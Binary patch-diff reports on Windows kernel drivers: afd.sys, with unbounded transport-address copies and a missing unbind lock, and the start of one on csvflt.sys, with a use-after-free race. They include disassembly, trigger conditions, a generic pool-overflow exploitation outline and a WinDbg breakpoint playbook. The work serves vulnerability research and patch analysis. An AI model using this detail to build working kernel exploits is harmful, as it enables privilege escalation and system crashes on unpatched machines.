Manual Verification Required: A researcher must confirm the value of the KIR flag UxKirHttpReadingTrailersFromUm on their specific target build (set in UxStartEnvironmentModule from Feature_2347446586__private_IsEnabledDeviceUsage) to ensure the vulnerable path is reachable. Because this is a Known Issue Rollback gate, the vulnerable re-read path only executes while the feature is rolled back (flag 0). Additionally, optimizing the racing thread to consistently hit the narrow instruction window will require empirical tuning on the target hardware.

afd.sys — missing output-buffer bounds check on accepted-connection transport-address copy in AfdSanAcceptCore (CWE-120) fixed

2026-06-28T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`afd_unpatched.sys`
Patched binary	`afd_patched.sys`
Overall similarity	0.9806
Matched functions	1228
Changed functions	6
Identical functions	1222
Unmatched (unpatched)	0
Unmatched (patched)	0

Verdict: The patch adds a missing upper-bound check on the transport-address copies that AFD performs into the caller's MDL-mapped accept output buffer. In the unpatched build the copy lengths are read from the transport-address structure and used directly, compared against the output-buffer length only for the value zero. The same unbounded pattern exists in two functions, AfdSanAcceptCore (accept IRP completion) and AfdSanConnectHandler (SAN connect handler). The patch clamps each copy length to the output-buffer length. Both fixes are gated behind the runtime feature flag Feature_97988921__private_IsEnabledDeviceUsage; when that flag is off, the patched code path is byte-for-byte the old, unbounded code.

A second, independent security fix is also present in the BTHMS_RFCOMM socket-transfer / information-query paths (Finding 4). In the unpatched build the unbind race-protection lock (AfdPreventUnbind / AfdReallowUnbind) around the connection's IofCallDriver + KeWaitForSingleObject transfer (in AfdSocketTransferBegin / AfdSocketTransferEnd) and around the deliver-status AfdIssueDeviceControl (in AfdGetInformation) is taken only when a private feature flag is enabled; with the flag off, those paths issue I/O on the connection's device/file objects with no protection against a concurrent AfdUnbind tearing the connection down. The patch deletes those feature gates entirely (the gate functions Feature_831225147* and Feature_51867961* no longer exist anywhere in the patched image) and makes the lock unconditional, so the protection is now mandatory rather than a staged rollout.

2. Vulnerability Summary

Finding 1 — High severity

Vulnerability class: Kernel out-of-bounds write / buffer copy without checking size of input (CWE-120).
Affected function: AfdSanAcceptCore @ 0x1C007C0CC (AFD SAN accept IRP completion routine).
Companion instance: AfdSanConnectHandler (unpatched 0x1C007D410, patched 0x1C007D550) carries the identical unbounded-copy pattern and receives the identical clamp fix (see Finding 2).

Root cause

AfdSanAcceptCore runs when an AFD SAN accept IRP completes. It copies the accepted connection's transport-address data into the caller's output buffer, which has been MDL-mapped into kernel address space. The copy destination base is the mapped buffer at *(IRP+8); the write offsets and the output-buffer length live in a descriptor at *(IRP+0xB8) (call it rbx), where *(rbx+0x10) is the output-buffer length and *(rbx+8) / *(rbx+0x18) are write offsets.

The copy lengths are taken from the connection's transport-address structure (v40 = *(IRP-context+0x18)): the address length word at +0x14 and an ancillary length word at +0x18. In the unpatched build these lengths are used directly as memmove sizes (plus a small constant), and the only check against the output-buffer length is:

0x1C007C3A8  mov   edx, [rbx+10h]      ; edx = output-buffer length
0x1C007C3AB  test  edx, edx
0x1C007C3AD  jz    0x1C007C56B          ; skip the copies only when length == 0

There is no upper-bound check. If the transport-address length fields are larger than the output buffer, the memmove writes past the end of the MDL-mapped kernel allocation.

The function performs two logical copies, each in two variants selected by the transport flag at *(connection+0xAC): 1. The transport-address copy (size = *(+0x14) + 8 for the user-transport variant, *(+0x14) + 2 for the kernel-transport variant). 2. An ancillary copy, gated by *(rbx+0x18) != 0 (size = *(+0x18) + 4 / + 2).

The patch: 1. Adds a lower-bound gate *(rbx+0x10) >= 0xC before the copies (behind the feature flag). 2. Clamps the transport-address copy size to the output-buffer length: cmp eax, r12d / cmovb r12d, eax (user variant), and to length - 2 via an overflow-safe compare (sub rcx, r13 / cmp rcx, rax / jnb, kernel variant). 3. Adds a minimum-size gate on the ancillary copy (cmp eax, 6 / jb bail) and clamps its size (cmovnb/cmovge). 4. Leaves the copy primitive unchanged: both builds call the same memmove (it is at 0x1C000A400 in the unpatched image and at 0x1C000A380 in the patched image only because the module relocated; it is the same function). 5. Gates all of the above behind Feature_97988921__private_IsEnabledDeviceUsage. With the feature disabled, the patched ancillary path falls through to the original unbounded copies.

Reachability

AfdSanAcceptCore is called from AfdServiceSuperAccept (0x1C004D208), AfdAccept (0x1C004D270), and AfdServiceWaitForListen (0x1C004DAC8). AfdServiceSuperAccept is in turn reached from AfdRestartAccept (0x1C004D0B0), the accept-event completion path. These call edges are present in the binary. The end-to-end path from a user-mode accept() down to this completion routine, and the exact IOCTL used, were not traced through the full dispatch table and are not asserted here.

Finding 2 — High severity (same mechanism, second location)

Affected function: AfdSanConnectHandler (unpatched 0x1C007D410, patched 0x1C007D550; relocated, matched by content).
This is not the caller of AfdSanAcceptCore; it is a sibling SAN handler that copies the peer/local address into the accept output MDL with the same unbounded pattern.

In the unpatched build the peer-address copy uses the length word inside the SAN connect buffer (*(u16*)Src) directly:

memmove(v55,     (char *)Src + 2, *(unsigned __int16 *)Src + 2LL);   // unbounded
memmove(v55 + 8, Src,             *(unsigned __int16 *)Src + 4LL);   // unbounded

The patched build wraps the same copies in a feature-gated branch that clamps the length to the destination capacity (u16)Parameters.Read.ByteOffset.LowPart and adds a >= 6 minimum-size guard:

if ( Feature_97988921__private_IsEnabledDeviceUsage() != 0 ) {
    if ( v52 >= 6 ) {                        // NEW minimum-size guard
        v53 = (unsigned __int16)v52;         // destination capacity
        ...
        v62 = v58 + 2;
        if ( v58 + 2 >= v53 - 2 ) v62 = v53 - 2;   // NEW clamp to capacity - 2
        memmove(v56, (char *)Src + 2, v62);
        ...
        v68 = v58 + 4;
        if ( v58 + 4 >= v53 - 8 ) v68 = v53 - 8;   // NEW clamp to capacity - 8
        memmove(v56 + 8, v57, v68);
    }
} else if ( v52 != 0 ) {
    // feature-off fallback == the old unbounded copy
    memmove(v71, (char *)Src + 2, *(unsigned __int16 *)Src + 2LL);
    memmove(v71 + 8, v72, *v72 + 4LL);
}

The low similarity (0.2334) is driven by this added clamp block plus relocation. The following claims that appeared under this heading are not supported by the binaries and have been removed: the rax_1 < 0x14 || rax_1 > 0xfffffff3 bound, the ExAllocatePoolWithQuotaTag(size = rax_1 + 0xc) allocation, the rax_6 < 0x20 output check, the IoIs32bitProcess-aware 8/16-byte output sizing, and the input-length bounds check are all present identically in both builds (they are pre-existing, not added by the patch). There is no STATUS_ACCESS_DENIED (0xC0000022) path in either build.

Finding 3 — Low severity (feature-gated behavioral tweak, not a memory-safety fix)

Affected function: AfdBind @ 0x1C0038DB0 (AFD bind handler).
The one real code change: the raw-socket security region is now gated behind Feature_3299291449__private_IsEnabledDeviceUsage() (at 0x1C0009C00), with a new Irp->RequestorMode == 0 branch. When the feature is enabled, a non-raw user-mode bind passes 0x101 instead of 0x100 as the 7th argument to AfdTdiCreateAO, while kernel-mode binds keep 0x100. With the feature disabled the function behaves exactly as before.
This does not add or remove a "who can bind" gate: the raw-socket STATUS_ACCESS_DENIED check (AfdDisableRawSecurity == 0 && *(byte)(obj+3) == 0, status 0xC0000022) is preserved unchanged and fires identically for user and kernel callers. All of the previously listed data/global/completion-routine "changes" (data_1c002a7d8→data_1c002a7f8, the sub_1c006c6xx/sub_1c003e8xx/sub_1c003e7xx shifts, data_1c002a640→data_1c002a660, the helper and telemetry-global shifts) are relocation artifacts: each address resolves to the same named symbol in both builds (AfdGlobalData, AfdRestartBindGetAddress, AfdTdiCreateAO, AfdIsAddressInUse, AfdPriorityBoost, AfdGetTransportInfo, AfdTdiSetEventHandlers, and the per-build WPP trace-GUID global). Not a memory-safety fix.

Finding 4 — High severity (race condition / use-after-free from missing unbind synchronization)

Vulnerability class: Kernel race condition from missing synchronization, leading to use-after-free (CWE-362, leading to CWE-416).
Affected functions (three locations, same mechanism):
AfdSocketTransferEnd @ 0x1C005F9A0 (same address both builds; content changed).
AfdSocketTransferBegin @ 0x1C005FBF0 → 0x1C005FBE0 (relocated; matched by content).
AfdGetInformation @ 0x1C00397E0 → 0x1C00397F0, the deliver-status handler ([rbx+2] value 3/4 path reached via the query buffer).

Root cause

These handlers run for BTHMS_RFCOMM-backed sockets (gated by RtlEqualUnicodeString(L"\Device\BTHMS_RFCOMM")). Each one forwards an IRP to the underlying transport: AfdSocketTransferBegin / AfdSocketTransferEnd call IofCallDriver then KeWaitForSingleObject on the connection's device object (rdi) and file object; AfdGetInformation calls AfdIssueDeviceControl on the connection's file object (*(rbx+0x18)). Before doing so they are supposed to take an unbind lock, AfdPreventUnbind, and release it afterward with AfdReallowUnbind. AfdPreventUnbind is what stops a concurrent AfdUnbind from freeing/tearing down the connection while the I/O is outstanding.

In the unpatched build this lock is taken only when a private feature flag is enabled. AfdSocketTransferBegin/End gate it behind Feature_831225147__private_IsEnabledDeviceUsage; AfdGetInformation gates it behind Feature_51867961__private_IsEnabledDeviceUsage. When the flag is off, the gate check jumps straight past AfdPreventUnbind into the IofCallDriver/KeWaitForSingleObject (or AfdIssueDeviceControl) sequence with no unbind protection, and the matching AfdReallowUnbind is skipped as well. A concurrent AfdUnbind on the same endpoint can then free the connection's device/file object while this path is dereferencing it and waiting on it: a use-after-free / race window.

In the patched build the feature gates are removed entirely. AfdPreventUnbind is now called unconditionally (subject only to the pre-existing AFD magic/flag short-circuits) and AfdReallowUnbind is called unconditionally on the way out. The gate functions themselves are gone: Feature_831225147__private_IsEnabledDeviceUsage, Feature_831225147__private_IsEnabledFallback, Feature_51867961__private_IsEnabledDeviceUsage, and Feature_51867961__private_IsEnabledFallback do not appear anywhere in afd_patched.sys (symbol-set diff: present in the unpatched image, absent in the patched image). Because the gate and its unprotected fallback path are both deleted, this is a genuine hardening fix that makes the lock mandatory, not feature-staging with the old path retained.

Evidence — `AfdSocketTransferEnd` @ `0x1C005F9A0`

; === UNPATCHED: unbind lock is gated behind the feature flag ===
0x1C005FA72  call    Feature_831225147__private_IsEnabledDeviceUsage
0x1C005FA77  test    eax, eax
0x1C005FA79  jz      loc_1C005FB29             ; feature OFF -> skip AfdPreventUnbind entirely
; ... (AFD magic/flag short-circuits) ...
0x1C005FAB2  call    AfdPreventUnbind          ; reached ONLY when the feature is ON
0x1C005FAB7  test    al, al
0x1C005FAC2  mov     r15b, 1                   ; remember to reallow later
; --- feature-OFF path: straight into the transfer, no lock held ---
0x1C005FB29  test    rdi, rdi
0x1C005FB2C  jz      loc_1C005FAD5
0x1C005FB78  lock inc dword ptr [rbx+0E8h]
0x1C005FB85  call    cs:__imp_IofCallDriver     ; I/O on connection device/file object, unprotected
0x1C005FBAD  call    cs:__imp_KeWaitForSingleObject
; --- reallow is also gated by the same flag ---
0x1C005FADA  call    Feature_831225147__private_IsEnabledDeviceUsage
0x1C005FAE3  test    r15b, r15b
0x1C005FAEB  call    AfdReallowUnbind

; === PATCHED: no feature call; lock is unconditional ===
0x1C005FA72  movzx   eax, word ptr [rbx]        ; feature call removed
; ... (same AFD magic/flag short-circuits) ...
0x1C005FAA5  call    AfdPreventUnbind          ; UNCONDITIONAL
0x1C005FAAA  test    al, al
0x1C005FAB8  mov     r14b, 1
0x1C005FB2E  call    cs:__imp_IofCallDriver     ; now always preceded by AfdPreventUnbind
0x1C005FB56  call    cs:__imp_KeWaitForSingleObject
0x1C005FB86  test    r14b, r14b
0x1C005FB8E  call    AfdReallowUnbind          ; UNCONDITIONAL (when the lock was taken)

Evidence — `AfdGetInformation` deliver-status path

; === UNPATCHED: lock gated behind Feature_51867961 ===
0x1C0039BC6  call    Feature_51867961__private_IsEnabledDeviceUsage
0x1C0039BCB  test    eax, eax
0x1C0039BCD  jz      loc_1C0039C79             ; feature OFF -> jump past AfdPreventUnbind
0x1C0039C09  call    AfdPreventUnbind          ; feature-ON path only
0x1C0039C58  call    AfdIssueDeviceControl      ; deliver-status I/O on FileObject *(rbx+0x18)
0x1C0039C72  call    AfdReallowUnbind
; --- feature-OFF path issues the same device control with no lock ---
0x1C0039C9D  call    AfdIssueDeviceControl      ; unprotected

; === PATCHED: no feature call; lock unconditional ===
0x1C0039C0C  call    AfdPreventUnbind          ; UNCONDITIONAL
0x1C0039C5B  call    AfdIssueDeviceControl
0x1C0039C75  call    AfdReallowUnbind

AfdSocketTransferBegin carries the byte-for-byte same change: unpatched gates AfdPreventUnbind (0x1C005FD02) / AfdReallowUnbind (0x1C005FD3B) behind Feature_831225147__private_IsEnabledDeviceUsage (0x1C005FCC2, 0x1C005FD2A) around its IofCallDriver (0x1C005FDD5) / KeWaitForSingleObject (0x1C005FDFD); patched calls AfdPreventUnbind (0x1C005FCE5) unconditionally and drops the feature calls.

Direction and classification

The direction is unambiguous: unpatched takes the unbind lock only conditionally (weaker), patched takes it always (stricter). The demonstrable defect is the missing synchronization (CWE-362); its consequence is a use-after-free of the connection's device/file object if a concurrent AfdUnbind wins the race (CWE-416).

Reachability

All three functions self-gate on RtlEqualUnicodeString(L"\Device\BTHMS_RFCOMM"), i.e. they only run for sockets backed by the Bluetooth RFCOMM transport, and are entered through AFD's IOCTL processing from a user-mode socket handle (AfdGetInformation via the AFD_GET_INFO / IOCTL_AFD_GET_INFORMATION deliver-status query). This makes the paths attacker-reachable from user mode for that transport. As with the primary finding, the end-to-end IOCTL dispatch was not traced through the full dispatch table, and exploitation additionally requires winning the race against a concurrent unbind; the severity reflects that this is a genuine but not-fully-traced kernel memory-safety fix.

3. Pseudocode Diff

`AfdSanAcceptCore` @ `0x1C007C0CC` — before/after

// =================== UNPATCHED (unbounded) ===================
v23 = v15[4];                                   // output-buffer length: *( *(IRP+0xB8) + 0x10 )
if ( v23 != 0 )                                 // ONLY a zero check -- no upper bound
{
    v24 = *(_WORD *)(v16 + 20);                 // address length word at +0x14 of the connection data
    v25 = *(struct _MDL **)(a1 + 8);            // caller output MDL
    if ( *(_BYTE *)(v8 + 172) != 0 )            // transport flag at +0xAC (kernel-transport variant)
    {
        LOWORD(Object) = v24 + 2;
        // ... map the MDL ...
        memmove(&v30[v29 + v28], (const void *)(v40 + 22), (unsigned __int16)Object);   // size = *(+0x14) + 2
        *(_WORD *)&Irql[v43 - 2] = (_WORD)Object;
    }
    else                                        // user-transport variant
    {
        // ... map the MDL ...
        memmove(&v31[v15[2] + v15[6]], (const void *)(v16 + 16), v24 + 8LL);            // size = *(+0x14) + 8
    }
    if ( v15[6] != 0 )                          // ancillary copy, gated only by *(rbx+0x18) != 0
    {
        v32 = v40 + *(unsigned __int16 *)(v40 + 20);
        v35 = &v34[v15[2]];
        if ( *(_BYTE *)(v8 + 172) != 0 )
            memmove(v35, (const void *)(v32 + 26), *(unsigned __int16 *)(v32 + 24) + 2LL);   // unbounded
        else
            memmove(v35 + 8, (const void *)(v32 + 24), *(unsigned __int16 *)(v32 + 24) + 4LL); // unbounded
    }
}

// =================== PATCHED (bounded, feature-gated) ===================
if ( v16[4] != 0
     && ((unsigned int)Feature_97988921__private_IsEnabledDeviceUsage() == 0 || v16[4] >= 0xCu) )  // NEW length floor
{
    LODWORD(v66) = *(unsigned __int16 *)(v17 + 20);     // address length at +0x14
    v24 = (_DWORD)v66 + 8;
    if ( *(_BYTE *)(v8 + 172) != 0 )                    // kernel-transport variant
    {
        v25 = (_WORD)v66 + 2;
        if ( Feature_97988921__private_IsEnabledDeviceUsage() != 0
             && (unsigned __int64)(unsigned int)v16[4] - 2 < v25 )
            v25 = *((_WORD *)v16 + 8) - 2;              // NEW: clamp to (length - 2)
        // ... map ...
        memmove(&v30[v28 + v29], (const void *)(v61 + 22), v25);
    }
    else                                                // user-transport variant
    {
        if ( Feature_97988921__private_IsEnabledDeviceUsage() != 0 && v16[4] < v24 )
            v24 = v16[4];                               // NEW: clamp to length
        // ... map ...
        memmove(&v33[v16[2] + v16[6]], (const void *)(v61 + 16), v24);
    }
    if ( Feature_97988921__private_IsEnabledDeviceUsage() != 0 )
    {
        if ( v16[6] >= 6 )                              // NEW: minimum-size gate on the ancillary copy
        {
            // ... clamp v46 / v52 to the remaining destination space, then memmove ...
        }
    }
    else if ( v16[6] != 0 )                             // feature-off fallback == old unbounded copies
    {
        memmove(v56, (const void *)(v53 + 26), *(unsigned __int16 *)(v53 + 24) + 2LL);
        memmove(v56 + 8, (const void *)(v53 + 24), *(unsigned __int16 *)(v53 + 24) + 4LL);
    }
}

The critical change is the introduction of: - the length floor v16[4] >= 0xC (asm cmp dword [rbx+10h], 0Ch / jb), - the transport-address size clamp cmovb r12d, eax (user variant) and the sub rcx, r13 / cmp rcx, rax / jnb clamp to length - 2 (kernel variant), - the ancillary minimum-size gate cmp eax, 6 / jb and its cmovnb / cmovge clamps, - all gated behind Feature_97988921__private_IsEnabledDeviceUsage.

The copy primitive is unchanged: every call is to memmove in both builds.

4. Assembly Analysis

`AfdSanAcceptCore` @ `0x1C007C0CC` — unpatched (unbounded copies)

; === capacity gate: only a zero-check ===
0x1C007C3A8  mov     edx, [rbx+10h]           ; edx = output-buffer length; rbx = *(IRP+0xB8)
0x1C007C3AB  test    edx, edx
0x1C007C3AD  jz      0x1C007C56B               ; skip all copies only when length == 0  (no upper bound)
0x1C007C3B3  movzx   r8d, word ptr [r10+14h]   ; copy length from connection data +0x14

; === transport-address copy, kernel-transport variant (flag != 0) ===
0x1C007C446  movzx   r8d, word ptr [rsp+0A8h+Object]   ; size = *(+0x14) + 2
0x1C007C44F  mov     rdx, [rsp+0A8h+var_60]
0x1C007C454  add     rdx, 16h                  ; Src = connection data + 0x16
0x1C007C461  add     rcx, rax                  ; dst inside MDL-mapped buffer
0x1C007C464  call    memmove                    ; *** unbounded copy ***

; === transport-address copy, user-transport variant (flag == 0) ===
0x1C007C4AE  movzx   r8d, r8w
0x1C007C4B2  add     r8, 8                     ; size = *(+0x14) + 8
0x1C007C4B6  lea     rdx, [r10+10h]            ; Src = connection data + 0x10
0x1C007C4C0  add     rax, r9
0x1C007C4C3  add     rcx, rax                  ; dst inside MDL-mapped buffer
0x1C007C4C6  call    memmove                    ; *** unbounded copy ***

; === ancillary copy, gated only by (*(rbx+0x18) != 0) ===
0x1C007C4CB  cmp     [rbx+18h], edi
0x1C007C4CE  jbe     0x1C007C56B
0x1C007C512  movzx   r8d, word ptr [r12+18h]   ; size from +0x18 field
0x1C007C51E  add     r8, r13                   ; + 2  (kernel variant)
0x1C007C529  call    memmove                    ; *** unbounded copy ***
0x1C007C54B  movzx   r8d, word ptr [r12+18h]
0x1C007C551  add     r8, 4                     ; + 4  (user variant)
0x1C007C55E  call    memmove                    ; *** unbounded copy ***

`AfdSanAcceptCore` @ `0x1C007C0CC` — patched (bounded, feature-gated)

; === capacity gate now has a real lower bound behind the feature flag ===
0x1C007C3B8  cmp     [rbx+10h], esi            ; esi = 0
0x1C007C3BB  jbe     0x1C007C6A5               ; bail if length == 0
0x1C007C3C1  call    Feature_97988921__private_IsEnabledDeviceUsage
0x1C007C3C6  test    eax, eax
0x1C007C3C8  jz      0x1C007C3D4
0x1C007C3CA  cmp     dword ptr [rbx+10h], 0Ch  ; *** NEW: require length >= 12 ***
0x1C007C3CE  jb      0x1C007C6A5

; === user-transport variant: clamp size to the output-buffer length ===
0x1C007C4C1  call    Feature_97988921__private_IsEnabledDeviceUsage
0x1C007C4C6  test    eax, eax
0x1C007C4C8  jz      0x1C007C4D4
0x1C007C4CA  mov     eax, [rbx+10h]
0x1C007C4CD  cmp     eax, r12d
0x1C007C4D0  cmovb   r12d, eax                 ; *** NEW: clamp size to length ***
0x1C007C4F5  mov     r8d, r12d                 ; Size = clamped
0x1C007C50E  call    memmove

; === kernel-transport variant: overflow-safe clamp to (length - 2) ===
0x1C007C405  call    Feature_97988921__private_IsEnabledDeviceUsage
0x1C007C40E  mov     ecx, [rbx+10h]
0x1C007C411  sub     rcx, r13                  ; length - 2
0x1C007C418  cmp     rcx, rax
0x1C007C41B  jnb     0x1C007C426
0x1C007C41D  movzx   r12d, word ptr [rbx+10h]
0x1C007C422  sub     r12w, r13w                ; *** NEW: clamp to length - 2 ***
0x1C007C4A9  call    memmove

; === ancillary copy: new minimum-size guard + clamp (feature on); old path when off ===
0x1C007C519  call    Feature_97988921__private_IsEnabledDeviceUsage
0x1C007C528  test    ecx, ecx
0x1C007C52A  jz      0x1C007C617               ; feature off -> old unbounded fallback
0x1C007C530  cmp     eax, 6
0x1C007C533  jb      0x1C007C6A5               ; *** NEW: require ancillary length >= 6 ***
0x1C007C5AD  cmovnb  dx, r13w                  ; *** NEW: clamp (kernel variant) ***
0x1C007C5C2  call    memmove
0x1C007C5FC  cmovge  dx, r13w                  ; *** NEW: clamp (user variant) ***
0x1C007C60D  call    memmove
0x1C007C66E  call    memmove                    ; feature-off fallback (unbounded, == unpatched)
0x1C007C6A0  call    memmove                    ; feature-off fallback (unbounded, == unpatched)

Key takeaways: - The output-buffer length lives at *(rbx+0x10) where rbx = *(IRP+0xB8). In the unpatched build it is only compared to zero. - The copy sizes come from the connection transport-address words at +0x14 and +0x18; in the unpatched build they reach memmove with no upper bound. - The patch adds a length floor (>= 0xC), size clamps (cmovb / overflow-safe sub/cmp, cmovnb/cmovge), and an ancillary minimum-size gate (cmp eax, 6), all behind Feature_97988921__private_IsEnabledDeviceUsage. - The same memmove function is used before and after; its address moved (0x1C000A400 → 0x1C000A380) only because the module relocated.

5. Trigger Conditions

The out-of-bounds write occurs when AfdSanAcceptCore (or AfdSanConnectHandler) copies a transport address whose length field exceeds the caller's output-buffer length, and the patch's feature flag is not in effect (unpatched build, or patched build with the feature disabled).

Preconditions visible in the code: 1. The accept output buffer is caller-supplied and MDL-mapped; its length is *( *(IRP+0xB8) + 0x10 ). A small output buffer makes the overflow easier. 2. The transport-address length words (+0x14, +0x18 of the connection data) must exceed that length. These come from the accepted connection's stored transport address (AfdSanAcceptCore) or from the SAN connect request buffer (AfdSanConnectHandler). 3. The ancillary copy additionally requires *( *(IRP+0xB8) + 0x18 ) != 0 (unpatched gate).

Whether a remote peer can directly control these length fields over the wire is not established by these functions alone; the length words are read from the connection/transport-address structure that AFD has already populated. Reproduction therefore depends on which transport stack populated that structure and how large an address it can present.

Observable confirmation of an overflow would be pool-corruption bugchecks on a following pool operation (e.g. 0x19 BAD_POOL_HEADER, 0xC2 BAD_POOL_CALLER) or 0x50 PAGE_FAULT_IN_NONPAGED_AREA when the write crosses the allocation boundary; with pool grooming the corruption can be silent.

6. Exploit Primitive & Development Notes

Primitive

A relative kernel write past the end of the MDL-mapped accept output allocation. The write: - length is driven by the 16-bit transport-address length words (+0x14 / +0x18), - content is the transport-address bytes, - destination is the caller's output buffer inside a pool allocation whose length is *( *(IRP+0xB8) + 0x10 ).

Turning it into a full exploit

The following is standard kernel-pool-overflow methodology; none of it is specific to a value read out of these binaries: 1. Pool grooming. Place a target object immediately after the accept output allocation by spraying objects of the same size class. 2. Corrupt an adjacent object. Overwrite a LIST_ENTRY or a callback/field in the following object. 3. KASLR defeat. Requires a separate information leak on modern Windows. 4. Code execution. Redirect control via the corrupted object, subject to the mitigations below.

Mitigation considerations

Pool cookie / safe unlinking, SMEP/SMAP, CFG, and HVCI/VBS all apply as usual on modern Windows x64 and constrain which corruption targets and control-flow strategies are viable.

These notes are general and are not derived from the disassembly; they are included only to characterize the class of the primitive.

7. Debugger PoC Playbook

WinDbg / KD attached to afd_unpatched.sys. Run lm afd to obtain the load base and add the function-relative offsets below.

Breakpoints

; (1) Accept IRP completion entry.
bp afd!AfdSanAcceptCore
;     rcx = arg1 (IRP), rdx = arg2 (file-object pointer), r8 = arg3 (IRP-context entry)

; (2) The copy primitive. Stop on every call; r8 = size, rdx = source, rcx = destination.
bp afd!memmove

; (3) The sibling handler with the same unbounded copy.
bp afd!AfdSanConnectHandler

What to inspect

At afd!AfdSanAcceptCore: after the prologue, rbx is loaded from *(IRP+0xB8); dd rbx+0x10 l1 is the output-buffer length. The connection data pointer (source of the length words) is *(IRP-context+0x18), with the address length at +0x14 and the ancillary length at +0x18.

At afd!memmove: compare @r8 (size) against the output-buffer length at *(rbx+0x10); @r8 greater than the length is the overflow condition.

Key instructions / offsets (function-relative to `AfdSanAcceptCore`)

Offset	Address	Instruction	Notes
`+0x2DC`	`0x1C007C3A8`	`mov edx, [rbx+10h]`	Loads the output-buffer length; only zero-checked in unpatched.
`+0x398`	`0x1C007C464`	`call memmove`	Transport-address copy (kernel-transport variant), unbounded.
`+0x3FA`	`0x1C007C4C6`	`call memmove`	Transport-address copy (user-transport variant), unbounded.
`+0x45D`	`0x1C007C529`	`call memmove`	Ancillary copy (kernel variant), unbounded.
`+0x492`	`0x1C007C55E`	`call memmove`	Ancillary copy (user variant), unbounded.
Patched `+0x2FE`	`0x1C007C3CA`	`cmp dword [rbx+10h], 0Ch`	ADDED length floor.
Patched `+0x404`	`0x1C007C4D0`	`cmovb r12d, eax`	ADDED size clamp.

8. Changed Functions — Full Triage

Function	Similarity	Change type	Note
`AfdSanAcceptCore` @ `0x1C007C0CC`	0.8249	security	Primary fix. Accept IRP completion. Adds a length floor (`>= 0xC`), size clamps (`cmovb`; overflow-safe `sub`/`cmp`; `cmovnb`/`cmovge`), and an ancillary minimum-size gate, all behind `Feature_97988921__private_IsEnabledDeviceUsage`. Copy primitive (`memmove`) unchanged.
`AfdSanConnectHandler` @ `0x1C007D410`→`0x1C007D550`	0.2334	security	Sibling SAN handler with the same unbounded peer-address copy. Adds the same feature-gated clamp: bounds `*(u16)Src + 2/+4` to the destination capacity `(u16)Parameters.Read.ByteOffset.LowPart - 2/-8`, with a `>= 6` minimum guard. Low similarity is the added clamp block plus relocation.
`AfdBind` @ `0x1C0038DB0`	0.2706	behavioral	Raw-security region gated behind `Feature_3299291449__private_IsEnabledDeviceUsage()` (`0x1C0009C00`) with a new `RequestorMode == 0` branch that selects `0x101` vs `0x100` as the 7th arg to `AfdTdiCreateAO`. The `STATUS_ACCESS_DENIED` raw-socket check is unchanged. All other listed deltas are relocation artifacts. Not a memory-safety fix.
`AfdSocketTransferEnd` @ `0x1C005F9A0`	—	security	Finding 4. Unbind race-protection (`AfdPreventUnbind`/`AfdReallowUnbind`) around `IofCallDriver`+`KeWaitForSingleObject` was gated behind `Feature_831225147__private_IsEnabledDeviceUsage` in the unpatched build (lock skipped when the flag is off); the patch deletes the gate and makes the lock unconditional. Race/UAF fix (CWE-362 → CWE-416).
`AfdSocketTransferBegin` @ `0x1C005FBF0`→`0x1C005FBE0`	0.879	security	Finding 4 (same mechanism). Same `Feature_831225147`-gated `AfdPreventUnbind`/`AfdReallowUnbind` around `IofCallDriver`+`KeWaitForSingleObject`; gate deleted, lock now unconditional. (Not merely register allocation / relocation.)
`AfdGetInformation` @ `0x1C00397E0`→`0x1C00397F0`	0.1886	security	Finding 4 (same mechanism). Deliver-status handler; the `AfdPreventUnbind`/`AfdReallowUnbind` pair around `AfdIssueDeviceControl` was gated behind `Feature_51867961__private_IsEnabledDeviceUsage` (lock skipped when off); the patch deletes the gate and makes the lock unconditional. Not pure switch-table reorganization.

9. Unmatched Functions

None added or removed (unmatched_unpatched: 0, unmatched_patched: 0). The fix is entirely in-place.

10. Confidence & Caveats

Confidence: High that the security-relevant change is the addition of bounds clamping on the transport-address copies in AfdSanAcceptCore and AfdSanConnectHandler. The unpatched code compares the output-buffer length to zero only and passes the connection's length words to memmove unbounded; the patched code adds a length floor, size clamps, and a minimum-size gate on the same copies. The direction (unpatched unbounded → patched bounded) is unambiguous.

Caveats and assumptions: - The fix is gated behind Feature_97988921__private_IsEnabledDeviceUsage. With the feature disabled, the patched code paths fall back to the original unbounded copies; the protection is only active when the flag is enabled. - The end-to-end reachability from a user-mode accept() and the exact IOCTL were not traced through the full dispatch table. The confirmed call edges are AfdRestartAccept → AfdServiceSuperAccept → AfdSanAcceptCore, plus direct calls from AfdAccept and AfdServiceWaitForListen. - Whether the transport-address length words are attacker-controlled end-to-end (and to what magnitude) depends on the transport stack that populated the connection/transport-address structure; it is not established by these functions in isolation. - AfdSanConnectHandler's pre-existing size and output-buffer validation (the < 0x14/> 0xFFFFFFF3 bound, the ExAllocatePoolWithQuotaTag(size + 0xc) allocation, the < 0x20 / 8 / 0x10 output checks, and the input-length bounds check) are present identically in both builds and are not part of this patch. - AfdBind is included for completeness; its change is a feature-gated requestor-mode tweak to an AO-creation flag, not an authorization or memory-safety fix. - All addresses are as they appear in the diffed images; in a live session use lm afd and add the function-relative offsets.

csvflt.sys — Race Condition (CWE-362) leading to Use-After-Free (CWE-416) in CsvCamSetSecurityInfo fixed

2026-06-28T00:00:00-07:00

1. Overview

Item	Value
Unpatched binary	`csvflt_unpatched.sys`
Patched binary	`csvflt_patched.sys`
Overall similarity	0.9914
Matched functions	536
Changed functions	1
Identical functions	535
Unmatched (each side)	0

Verdict: The patch is a one-function surgical fix to a TOCTOU race condition in csvflt!CsvCamSetSecurityInfo (sub_1C0039E30) that yields a PagedPool Use-After-Free on the global EncryptionManager signing-context pointer. The race is reachable from a caller that can open the \Csv2_FilterPort minifilter communication port and send concurrent command-code-1 messages, making it a locally-triggerable kernel-mode memory-corruption bug (dangling-pointer dereference) on Windows Server Failover Clustering nodes with Cluster Shared Volumes enabled. The impact demonstrable from these two binaries is kernel pool corruption / denial of service; a full privilege-escalation chain is not evidenced by the binaries.

2. Vulnerability Summary

Finding #1 — TOCTOU → UAF on cached signing-context global

Severity: High
Class: Race condition (CWE-362) leading to Use-After-Free (CWE-416)
Affected function: csvflt_unpatched!CsvCamSetSecurityInfo (sub_1C0039E30) (entry RVA 0x39e30)
Pool object: PagedPool, 0x28 bytes, tag CVCA

Root cause

CsvCamSetSecurityInfo (sub_1C0039E30) handles a CSV CAM set-security-info message. It maintains a driver-global pointer, EncryptionManager (data_1c002f518), pointing to an Encryption signing-context object (a small 0x28-byte PagedPool allocation, tag CVCA).

In the unpatched binary, the function reads this global pointer at 0x1c0039e61 without holding any lock, then immediately dereferences fields +0x20 (0x1c0039e70) and +0x18 (0x1c0039e77) of the object it points to.

